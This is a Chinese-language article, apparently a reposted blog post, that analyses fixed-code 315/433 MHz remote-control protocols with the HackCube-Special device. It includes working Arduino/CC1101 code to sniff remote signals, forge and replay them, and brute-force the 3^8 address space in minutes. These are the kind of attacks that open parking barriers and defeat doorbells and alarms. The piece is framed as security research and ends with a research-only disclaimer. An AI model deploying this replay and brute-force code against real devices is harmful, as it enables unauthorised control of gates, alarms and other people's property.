前言
HackCube-Special 在我们做无线安全研究的工作中,常常在户外环境中对一些设备进行安全检测,需要抱着电脑,连接无线设备,蹲着或者坐在地上,总是吸引不少人的眼球,十分尴尬。于是我们希望打造一款小巧的设备,只需要把它装进口袋,通过手机或者平板电脑,就能特别方便的对这些设备进行安全审计。
这就是我们做 HackCube-Special 的初衷。HackCube-Special 是一款低成本,便携式,可工作在多个无线射频频段的无线电安全审计平台。我们会给 HackCube-Special 提供丰富的案例,方便初学者能够更好的了解无线
电安全领域。
使用 HackCube-Special 研究固定码遥控的安全风险
目标设备
我们先来看看有哪些设备在使用固定码遥控信号吧。通常在生活中比较常见的有那些呢,像平时停⻋场⽤的的抬杠啊,或者是家庭常⻅的⽆线⻔铃⽤的就是这种芯⽚ 还有说烟雾报警器或者⻔磁报警器,然后在我写文章时候⼀位不肯透漏姓名的雪碧 0xroot 同学告诉我,某个⼥性⽤的⽆线情趣⽤品⽤的也是这种⽅案的然后还有我们电瓶⻋啊,投影屏遥控⽤可能就是这些芯⽚,然后我们来看看这中间存在与什么的安全风险吧。
频点信息
这些设备通常工作在 315MHz,433MHz。极个别会工作在 868MHz,915MHz 这几个频点上,基本上都采用 ASK 调制方式,可以通过晶振,FCC ID 来确定设备的工作频点信息。
固定码遥控信号的构成
上面两张图,是我们采集的两款常见的无线遥控模块发出的信号。信号分别是同步引导码,地址位和数据位,最后⼀个就是停⽌码,停止码没有特别的用处只是为了结束程序⽤的。这⾥有两段信号,后⾯会讲下这两种信号的区别,这两种相⽐于其他的更为常⻅,先来看下这个同步码,这个同步码处于信号的最前端,⽤于告诉接收端有信号过来准备接收⽤的,接收同步引导码程序才开始解码,没有则继续等待,但在后⾯的写爆破程序中发现,其实可以吧这段同步码给忽略掉并不会对控制有什么影响,并且还能给爆破省下不少时间。同步码后有⼀⼤串的空⽩时间,这个时间的作⽤是为了让发射端和接收端同步时钟⽤的。
信号脉冲
信号脉冲的宽度跟电压,震荡电阻是有关系的。我们可以算出信号的震荡周期(a=两倍的时钟震荡周期)f=2100016/Rosc(kΩ) kHz 其中 Rosc 为振荡电阻
我们来看下这两种信号的区别,第⼀种信号吧 Bit1 相当于 12A 宽度的⾼电平脉冲加 4A 宽度低电平的脉冲重复⼀次,⽽BIt0⽽正好相反是 4a⾼在是 12a 的低重复⼀次。然后说下 BitF,BitF 只会出现在地址位⾥⾯,代表该地址位引脚悬空,后⾯会提到,⽽⽆效码则不可能出现在 2262 这种协议中,如果出现了只能表⽰这个信号是 2240 的。
现在来说下第⼆种信号格式第⼆种与第⼀种不同,⾮常明显能看出来第⼀种是吧⼀段信号重复了两次来表⽰BIT1 和 BIT0,并且有三种表⽰⽅式。第⼆种呢就是 12A 宽度的⾼电平脉冲信号加上 4A 的低电平宽度脉冲信号就是 BIT1,相反的就是 BIT0,并且不像第⼀种那样数据有 3 种表⽰⽅式。
地址码
先来看下遥控模块的硬件到底⻓什么样,第⼀种的银⾊是晶体振荡器⼀般会把频率直接写在上⾯,然后下⾯那个就是 PT2262 编码 IC。看完正⾯来看下遥控的背⾯,下⾯的就是地址码的编码部分了。H 字⺟就 HIGH 的缩写代表⾼电平信号,⼀般是电源,然后 L 呢就是 LOW 的缩写代表低电平的信号,⼀般是 GND。然后就是 8 位的地址码,然后可以⾃定义引脚,引脚接⾼电平当信号发射时该位就出现上⾯提到的 Bit1,然后该引脚接地就是低电平信号就出现 Bit0。如果像图上那样什么都不接的话,就会出现 BitF,因为只有这三种表⽰的状态所以才不会出现⽆效码!
然⽽第⼆种呢,地址码是出⼚时预烧录的,⽤⼾是没有办法⾃设的,这点需要注意。然后来看下这两种最⼤的区别,第⼀种地址码位 8Bit,但是有 3 种表⽰状态。⽽第⼆种地址码有 20Bit 只有 2 种表⽰状态,算下 3 的 8 次⽅等于 6561,就是⽣产出这么多个设备后就会出现重复的遥控地址码了。然后是第⼆种,2 的 20 次⽅等于 1048576,要⽣产出⼀百多万个后才会出现重复的遥控地址码。还有⼀个很重要的点就是第⼀种通过爆破地址码来控制设备只要⼗⼏分钟的时间甚⾄更少,第⼆种通过爆破地址码的⽅式来操控设备则需要⼏⼗个⼩时的时间。但这两种都属于固定码,只要监听到⼀次信号就能够复制信号了。
然后我们就可以用软件无线电对这个遥控进行解码了,这个就是解码后的数据了,但是这种解码的方式特别费时间。
嗅探数据
如何去接收这类遥控射频信号呢?我们可以使用这个 CC1101 模块然后让其工作在异步模式下去接收这个遥控的信号。
#include "cc1101。h"CC1101 cc1101;//参考datasheet写的一个设置工作射频频率的函数,可以使用SmartRF Studio计算得出 void setfreqx(unsigned long int freq) { unsigned long freqnum = freq / 396。734569; byte freqx[3]; freqx[0] = freqnum; freqx[1] = freqnum >> 8; freqx[2] = freqnum >> 16; cc1101。writeReg(CC1101_FREQ2, freqx[2]); cc1101。writeReg(CC1101_FREQ1, freqx[1]); cc1101。writeReg(CC1101_FREQ0, freqx[0]); } //CC1101 射频芯片初始化函数 void cc1101_config() { cc1101。SS_PIN = 10; //定义CC1101 片选引脚 cc1101。init(); //初始化函数,配置我们在库中定义好的射频参数 setfreqx(315000000); //设置中心频率 cc1101。disableAddressCheck(); cc1101。writeReg(CC1101_IOCFG2, 0x0d);//配置成异步模式 cc1101。writeReg(CC1101_MDMCFG4, 0xF7);//配置接收速率 cc1101。writeReg(CC1101_MDMCFG3, 0x93);//配置接收速率 //cc1101。writeReg(CC1101_AGCCTRL2, 0xB0);//配置门限值 cc1101。cmdStrobe(CC1101_SRX); //进入RX接收数据状态 }
将 CC1101 射频模块进行配置成异步模式。
上面这个是采集到的原始的射频数据,而下面这个就是 CC1101 的 GDO2 引脚的波形信号,也就是解调 ASK 后的数据,然后可以通过这个去解码数据内容。然后我们来说说如何去解码这个数据,一般解码这个数据分为两种方式一种是使用中断去将数据接收下,另外一种是通过轮询引脚方式待会详细讲讲这两种的区别吧,还有其他方式会用定时器去捕获,但是这种方式用的比较少。
刚刚说到上面这一栏就是经过 cc1101 射频芯片 ASK 后的数据解调后的输出,而信号数据下面一栏就是采用 CHANGE 类型中断触发的脉冲信号,每次上面的数据信号发生脉冲变化时候 (高电平->低电平/低电平->高电平) 就会进入到我们的中断函数中。
attachInterrupt(interrupt, ISR, mode); interrupt 中断号 ISR 中断调用的函数 mode 中断触发类型 LOW 低电平触发CHANGE 电平变化触发 RISING 上升沿触发(由LOW变为HIGH) FALLING 下降沿触发(由HIGH变为LOW)
我们来看看这个 attachInterrupt 中断函数,首先是中断引脚,这里我们用的是 atmega32u4 单片机,板子只有 2,3 两个中断引脚,对应就是 0,1 两个中断号,把 CC1101 的 GDO2 接到单片机的 2 号引脚。设置 0 中断号进行触发,而 ISR 这是触发中断后进入的函数。我这里是使用了 RCSwitch 的库函数。不必要重复造轮子。
Decimal: 96857 (24Bit) Binary: 000000010111101001011001 Tri-State: not applicable PulseLength: 272 microseconds Protocol: 1 Raw data: 8424,296,792,288,800,296,792,296,792,264,808,296,792,280,784,848,264,296,792,832,248,840,272,816,264,840,96,704,152,912,120,296,792,288,784,848,264,296,768,840,280,824,264,272,800,320,768,848,296,
我们只要在 ISR 函数中根据上次中断触发的时间进行计时,就能得到每个脉冲持续的时间。
我们只需要根据脉冲时间就能够解出信号数据,000000010111101001011001 就是我们脉冲所传输的二进制数据,转成十进制就是 96857(HEX:17A59),其中的功能码为 9。所谓固定码就是这个地址码是固定的,每一次发送的数据除了功能码都是一样的,只要我们嗅探到遥控模块的地址码就能够这对这个设备进行攻击测试了。
然后在 HackCube-Special 后台列表中就能发现信号。
伪造信号
刚刚提到了我们使用 CC1101,使其工作在异步模式中,GDO2 是数据输出引脚,如果我们要发射信号的话,我们需要用到 cc1101 的 GDO0 引脚作为发射信号的数据输入引脚。
void Fixed_Config() { cc1101。SS_PIN = 10; //定义CC1101 片选引脚 cc1101。init(); //初始化函数,配置我们在库中定义好的射频参数 setfreqx(315000000); //设置中心频率 cc1101。cmdStrobe(CC1101_STX);//设置工作模式为"STX"发射模式 cc1101。writeReg(CC1101_IOCFG2, 0x0d);//设置为异步模式}
和刚刚接收使用的配置类似,只需要将 CC1101 设置为 STX 状态即可。
// Fixed_Transmitpin = CC1101_GDO0 ______________ | |_____|XXXXXXXXXXXXX| 915us 305usvoid Fixed_Bit1() { digitalWrite(Fixed_Transmitpin, HIGH); delayMicroseconds(915); digitalWrite(Fixed_Transmitpin, LOW); delayMicroseconds(305); digitalWrite(Fixed_Transmitpin, LOW); } _____ | |______________|XXXXXXXXXXXXX| 305us 915usvoid Fixed_Bit0() { digitalWrite(Fixed_Transmitpin, HIGH); delayMicroseconds(305); digitalWrite(Fixed_Transmitpin, LOW); delayMicroseconds(915); digitalWrite(Fixed_Transmitpin, LOW); }void Class2_Transmit(unsigned long data, int Func) { // data = 地址码 // fnc = 功能码 for (int a = 20; a > 0; a--) { // 产生地址码波形 20 bit if (data >> a - 1 & 1 == 1) { Fixed_Bit1(); } else { Fixed_Bit0(); } } for (int l = 4; l > 0; l--) { // 产生功能码波形 4 bit if (Func >> l - 1 & 1 == 1) { Fixed_Bit1(); } else { Fixed_Bit0(); } } Fixed_Bit0(); //产生停止码}
我们以伪造第二种固定码协议举例。Fixed_Transmitpin 接的是 CC1101 的 GDO0 引脚,根据输入的 data,func 在 GDO0 产生出对应的电平信号,然后再由 cc1101 进行 ASK 将数据发射出来就可以了。
我们 HackCube-Special 也封装好了函数,只需要填入所需要发射的数据
就可以了。
爆破固定码
之前我们有提到一共有两种固定码的协议一种是 3^8,另外一种 2^20,前一种可以通过焊盘进行改变的,而另外一种则是出厂就固定了无法进行更改,但是我们在没有嗅探到信号的情况下怎么对这种设备进行攻击呢? 我们只要爆破这个地址码就可以了。第一种 3^8 有 6561 种可能性,8424us(同步码)+30500us(数据位)+12000(间隔时间)*4(重复次数),一共需要 1336.449456 秒,大概需要 22 分钟左右,但是在测试中发现同步码可以省去,并且可以把重复次数减少到 1 次,那么只需要 4.64 分钟就可以将 3^8 固定码跑完。
void Class1_Attack() { Fixed_Config_Class1(); cc1101。PrintConfig(); pinMode(RF_GDO0, OUTPUT); unsigned int EndNum = 0x0; unsigned int SerialNum = 0x5406; //Class 1 8Bit的地址码类型 爆破函数 //SerialNum 开始爆破地址码 //EndNum 结束地址码 while (SerialNum < EndNum) { //循环爆破地址码范围 for (int i = 0; i < 8 ; ++i) { //循环8个Bit if ((3 << (i * 2)&SerialNum) >> (i * 2) == 2 )//判断是否有之前提到的无效码 SerialNum = SerialNum + (1 << (i * 2));//出现无效码就序列号+1 跳过 } for (int i = 0; i < 2; i++) { //数据重复发送两次 Class1_Transmit(SerialNum);//调用发射函数 delay(12);//发射延迟 } SerialNum = SerialNum + 1;//序列递增 } }
上面这段就是爆破 3^8 地址码的代码。
总结
从以上分析可以看出,固定码遥控的安全风险是比较高的,很容易攻击成功。原因是这类无线遥控设备本身的价值就不高,若在安全方面增加太多成本,例如使用滚动码或者双向交互式认证,产品价格是难以承受的。在安全与成本之间,找到恰当的平衡点,是一个永恒的问题。以上方法 (代码) 带有一定攻击性,仅供安全研究之用,读者请勿做其他用途。
本文始发于微信公众号(疯猫网络):使用HackCube-Special分析固定码信号
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论